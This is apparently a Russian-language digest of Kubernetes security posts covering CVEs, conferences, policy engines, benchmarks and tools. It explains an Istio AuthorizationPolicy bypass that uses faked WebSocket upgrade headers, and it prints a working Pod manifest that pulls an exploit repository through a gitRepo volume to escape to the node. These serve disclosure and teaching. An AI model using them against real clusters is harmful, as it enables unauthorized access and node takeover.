Rancher раскрыли уязвимость в RKE, оцененную на 10/10 по CVSS – Credentials are stored in the RKE1 Cluster state ConfigMap.

Всё дело в том, что при провижининге кластера RKE сохраняет state в ConfigMap full-cluster-state в неймспейсе kube-system. А уже внутри этой ConfigMap хранится куча чувствительных данных: начиная от приватных SSH ключей, заканчивая кредами от облачных провайдеров.

Хотя эта ConfigMap не является общедоступной (для ее чтения требуется доступ к кластеру RKE), то, что она является именно ConfigMap, делает её доступной для неадминистраторов кластера. Поскольку full-cluster-state содержит практически всю информацию и учетные данные, необходимые для администрирования кластера, любой, кто имеет разрешение на ее чтение, тем самым получает доступ к кластеру на уровне администратора (и даже больше).

Стали доступны записи докладов с конференции fwd:cloudsec North America 2024!

P.S. Записи докладов с БеКон 2024 еще готовятся.

P.S.S. Сегодня можно в живую встретиться и пообщаться на Saint HighLoad++ 2024 ;)

A Kubernetes Pentesting Checklist – неплохой по наполнению чеклист, чтобы удостовериться, что вы ничего не забыли про проведения пентеста в Kubernetes инфраструктуре. Включает в себя проверки Control Plane, RBAC Abuse и EKS.

Само собой, не стоит забывать про сетевые атаки, container escapes и другие актуальные техники для k8s окружения.

P.S. По нашему опыту проведения аудитов Kubernetes кластеров, именно благодаря избыточным RBAC привилегиям, а также уязвимостям компонентов Kubernetes кластера удаётся не только сбежать из контейнера, но и получить cluster-admin.

secretgen-controller это контроллер, который предоставляет возможность с помощью специальных CRD генерировать Secret с определенным типом информации. Из поддерживаемых:
- Certificate (CAs, leafs)
- Password
- RSA Key
- SSH Key
- Secret Template Field

Тоесть не вы туда вписываете информацию, а она туда генерируется автоматически.

Также есть возможность:
- Импортировать и экспортировать секреты между namespaces с помощью SecretExport и SecretImport
- Описывать как создавать секрет из информации из других ресурсов с помощью SecretTemplate

Подробнее с проектом можно ознакомиться в документации и в директории с примерами.

Так данный контроллер должен быть интересен тем кто работает с секретами методом push (а не pull).

27 июня в Москве пройдет BI.ZONE Cybersecurity Meetup, посвященный мониторингу и реагированию в контейнерах.

На встрече выступит Сергей Канибор, специалист Luntry, с темой «Поймай меня, если сможешь: как обнаружить следы злоумышленника в Kubernetes-инфраструктуре».

В ходе доклада вы узнаете какие подходы смогут эффективно помочь в расследовании и реагировании инцидентов, когда стало понятно, что злоумышленник скомпрометировал контейнер.

Istio (а точнее Envoy, используемый под капотом) как обычно щедр на баги. Ресерчеры из Snyk нашли способ обойти AuthorizationPolicy. Для байпаса Istio изначально веб-приложение должно быть уязвимо к HTTP header injection. При такой уязвимости query параметры подставляются в заголовки ответа.

Чтобы проэксплуатировать уязвимость для начало необходимо убедить Istio, что TCP соединение было успешно преобразовано в WebSocket. Для этого в параметрах и заголовках к запросу необходимо выставить параметры upgrade=websockets и connection=upgrade. При этом сервер вернёт 200-ый код ответа, что не типично при успешном переключении на WebSocket. После этого все запросы отправленные на ручки, ограниченные AuthorizationPolicy, будут успешно проходить.

Уязвимости присвоили CVE-2024-23326, необходимые патчи уже выпущены.

P.S – Актуальный доклад про внедрение AuthorizationPolicy с прошедшего БеКон 2024.

P.S.S – Использование механизмов Service Mesh не освобождает от использования Network Policy.

С 2021 года с любопытством слежу за двумя PolicyEngine: Kubewarden, JsPolicy, - которые примечательны тем что, позволяют разрабатывать политики безопасности с использованием языков программирования общего назначения. Там политики можно писать на всем, что компилиться в WASM и на JavaScript/TypeScript соответственно.

Время показывает, что популярность они так и не завоевали ... На практике, необходимость написания политики на каком-то ЯП общего назначения для проверки YAML это прям что-то очень эдакое (хотя, конечно, подтянуть задачу под условия можно). Получаем чрезмерную мощь с кучей сложностей по контролю, поддержки и развитию (их еще отдельным статическим анализатором надо проверять как любой код и контролировать на закладки ;) ) ...

По нашему опыту ни один из этих движков мы на проектах не встречали (да и на конфах и статьях они мелькаю редко). Бесспорными лидерами тут являются Kyverno и OPA Gatekeeper! И да не забываем про развивающиеся встроенные политики Kubernetes Validating Admission Policies, которые тоже не пошли по пути ЯП общего назначения, а выбрали CEL.

26-27 июня прошел CloudNativeSecurityCon North America 2024. Большая часть слайдов с конференции уже доступна в разделе расписания. На мой взгляд это конференциям прям удалась по контенту - очень много всего интересного. За изучением материала провел практически все выходные) В этот раз даже не будем выделять какие-то презентации иначе их будет около 15!

Если попытаться выделить какие-то основные трендовые мысли, то получится примерно следующее:
- Вектор развития на ZeroTrust как с точки зрения сети, так и работы самих приложений
- Безопасность AI/ML приложений и инфраструктур
- Закрепление неэффективности сигнатурных подходов детектирование и переход к поведенческим
- Важность сборов артефактов для расследования инцидентов в контейнерах
- Прямолинейный ориентир на количество CVE не дает никакой пользы
- Развитие Supply Chain Security за пределы классического SBOM в сторону Dynamic SBOM, VEX, моделей поведения

P.S. Подсвечу всё-таки один доклад - "User Namespaces in Kubernetes: Security and Flexibility", который является идейным близнецом моего доклада "Linux user namespace в чертогах Kubernetes" с нашего БеКон 2024 ;)

Относительно недавно Open Container Initiative (OCI) community представило новую версию OCI Image Spec v1.1.0. Одно из ключевых изменений в этой версии спецификации это добавление поддержки metadata artifacts.

В artifacts можно хранить любую metadata, асоциированную с OCI image, а это – SBOM, signatures, attestations и vulnerability scanning reports. Помимо этого, в artifacts можно указать так называемаем non-containers artifacts: Helm Charts, Kubernetes manifest files, WASM modules, OPA bundles, Bicep files.

P.S. – Azure Container Registry уже поддерживает OCI Image Spec v1.1.0.

Проект camblet это Kernel Space Access Control для Zero Trust Networking для организации fine-grained, zero-trust для идентификации нагрузок и контроля доступа, именно:
- аутентификации
- авторизации
- шифрования

Взаимодействия между нагрузками, которые могут быть запущены как в Kubernetes, так и просто на хосте вне контейнера!

Инструмент был представлен в рамках доклада "Leveraging the Linux Kernel for Building a Zero-Trust Environment Without a Service Mesh" на прошедшей CloudNativeSecurityCon North America 2024.

Пока проект, конечно, больше выглядит как PoC, но сам подход к реализации через ядро Linux, без sidecar очень интересен)

В теме этого хотелось бы также напомнить про замечательный доклад "Все ли Service Mesh одинаковы полезны для ИБ?" от Максима Чудновского с БеКон 2024.

16 июля в 11:00 наша команда Luntry проведет webinar на тему «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Там мы рассмотрим следующие темы:

– способы обнаружения злоумышленника в контейнерных окружениях;
– какие подходы могут эффективно помочь в расследовании и реагировании на инциденты;
– возможности Luntry, полезные для Incident Response: собрать артефакты для расследования и остановить злоумышленника.

Регистрация на вебинар по ссылке.

В конце апреля вышла новая версия CIS Kubernetes Benchmark под номером 1.9 для Kubernetes 1.27 – 1.29. Особо критических изменений в бенчмарке не было (их можно посмотреть в конце документа в разделе appendix):

- автоматизировали проверки с 5.1.1 по 5.1.6
- в пунктах 1.1.13 и 1.1.14 были изменены названия (появился super-admin.conf – об этом мы рассказывали в одном из предыдущих постов)

Конечно всякие Open Source инструменты, вроде kube-bench, уже обновили свои конфиги и поддерживают версию 1.9. Однако не стоит забывать о том, что такие инструменты не показывают полной и объективной картины происходящего на предмет соответствия кластера по CIS. Об этом кстати мы рассказывали в одном из прошлых вебинаров – "Соответствует ли ваш Kubernetes-кластер лучшим практикам?"

Некоторое время назад мы уже писали про Cloud Threat Landscape и вот он обновился и там появился раздел Defenses. В данном разделе собраны защитные меры для противодействиям облачным атакам с кратким описанием и мапингом на D3FEND тактики. В общем, полезная вещь для систематизации своих знаний в данной области)

Наша команда Luntry очень любит тему observability и красивую визуализацию. И данный проект нас не оставил равнодушными!

Речь идёт о проекте VpK, что является акронимом для Visually presented Kubernetes. В данном инструменте есть много и разных способов визуализации ресурсов в кластере! Подробнее о проекте можно узнать из документации. Отдельно обратите внимание на режим Security, который посвящен RBAC (и очень сильно напоминает rbac-tool).

Статья How to create a multi clusters secure supply chain (SLSA 3) in 10min (OSS edition) будет хорошей отправной точкой, если вы хотите построить Supply Chain Security на базе Kubernetes в своей инфраструктуре.

В этой статье представлено пошаговое руководство по созданию собственной безопасной цепочки поставок. Применяя описанные лучшие практики, вы сможете лучше защитить инфраструктуру на базе Kubernetes от потенциальных уязвимостей в приложениях и сохранить их целостность на протяжении всего их жизненного цикла.

P.S. – все материалы используемые в статье доступны в репозитории тут.

P.P.S – вопрос безопасности Supply Chain в Kubernetes мы поднимали в свежем докладе "Механизмы Kubernetes против атак supply chain"

"Advanced Linux Detection and Forensics Cheatsheet" - полезный систематизирующий документ по моментам связанным с обнаружением и расследованием инцидентов в Linux. Вы определенно можете отметить как много всего есть и как много куда надо смотреть в Linux (и от этого даже может заболеть голова). В документе упоминается и ряд моментов связанных с контейнерами и K8s. Но если прям специализироваться и затачиваться под последнее, то на их специфике можно сделать много всего интересного и очень полезного. Об этом мы как раз расскажем и покажем на будущем вебинаре «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Исследователь безопасности из Google Imre Rad нашел способ побега из контейнера в Kubernetes через deprecated volumes (начиная с 1.11) – gitRepo. Для эксплуатации необходимо соблюсти три условия: поддержка gitRepo volume type, наличие git бинаря на Node и отсутствие ограничений на использование gitRepo volume type.

Чтобы сбежать из контейнера таким способом, нужно определенным образом сконфигурировать git репозиторий и выставить gitRepo в манифесте:

apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/raesene/repopodexploit.git
      revision: main

Интересно, что данной проблеме не присвоили CVE, хотя она может привести к побегу из контейнера. Автор, обнаруживший проблему уже закинул PR, фикс стоит ожидать во всех поддерживаемых версиях.

Для того чтобы детальней ознакомиться с техническими подробностями уязвимостями советуем изучить статью Imre Rad – Sneaky write hook: git clone to root on k8s node. Также Rory McCune в статье Fun With GitRepo Volumes показал чего может добиться злоумышленник, используя данную уязвимость

В полку PoliceEngine случилось пополнение и к Kyverno, OPA Gatekeeper, Kubewarden, JSPolicy присоединился Kubelatte! При этом kubelatte это отечественная разработка ребят из СберТех. Данный движок может похвастаться сразу 3 типами политик:
- Мутационными
- Валидационными
- Генерационными

Политики это специальные CRD, где сами правила можно писать с помощью двух синтаксисов:
- rego
- simples (jmespath + regexp)

Подробнее о проекте можно почитать тут или спросить в комментариях к данному посту и авторы проекта ответят ;)

P.S. Проект молодой, но по общению с командой планируются и backgroundscan, и проверка SBOM, и проверка подписи образа!

P.S.S. В Luntry уже есть интеграция с Kyverno, OPA Gatekeeper, а такими темпами и с kubelatte добавим ;)

Стали доступны видео докладов с прошедшей конференции CloudNativeSecurityCon North America 2024. Слайды доступны на сайте конференции.

Определенно рекомендуем ознакомиться с ними.

Читатели нашего канала недавно поделились с нами своей статьей "Threat Detection in the K8s Environment" в которой рассказывают об опыте работы своего SOC в Kubernetes. В статье идет речь про кастомный Tetragon и анализ Kubernetes Audit Log. К правилам/сигнатурам для Tetragon (как и ко всем правилам) есть вопросы, но вот Audit Policy (она полностью приводится в статье и ее можно взять за базу) и сценарии анализа ее результатов очень классные. Единственное, что на наш взгляд тут можно было бы добавить это сочетание использования с PolicyEngine (в статье о данном клаcсе решений ничего не говориться), чтобы предотвратить множество кейсов и не доводить их до расследования вообще.

В общем, очень рекомендуем для изучения (ребята молодцы!), особенно в преддверии нашего сегодняшнего вебинара «Ловим злоумышленников и собираем улики в контейнерах Kubernetes» в 11:00, где мы покажем как, на пример, можно ловить переименования бинарей (для bypass rules) вообще без правил/сигнатур/аномалий и при этом собрать артефакты для forensic ;)

P.S. Если вы написали статью или инструмент по тематике канала, то не стесняйтесь скидывать =)

Если вы занимаетесь пентестами, то наверняка слышали о такой утилите как nuclei. Эта тулза является очень гибким и легко кастомизируемым vulnerability сканером, благодаря templates, которые пишутся на YAML.

Так вот ребята из ProjectDiscovery (авторы тулзы) решили пойти дальше и добавить темплейты для сканирования Kubernetes кластера:

- Deployment Configurations Review
- Network Policies Enforcement
- Pod Security Standards
- Compliance and Configuration Management
- Security Contexts and Roles
- Logging and Monitoring
- Secrets Management
- Vulnerability Scanning and Patch Management

Всё это доступно в темплейтах версии 9.9.0. Естественно их можно кастомизировать – писать кастомные проверки, compliance и прочее.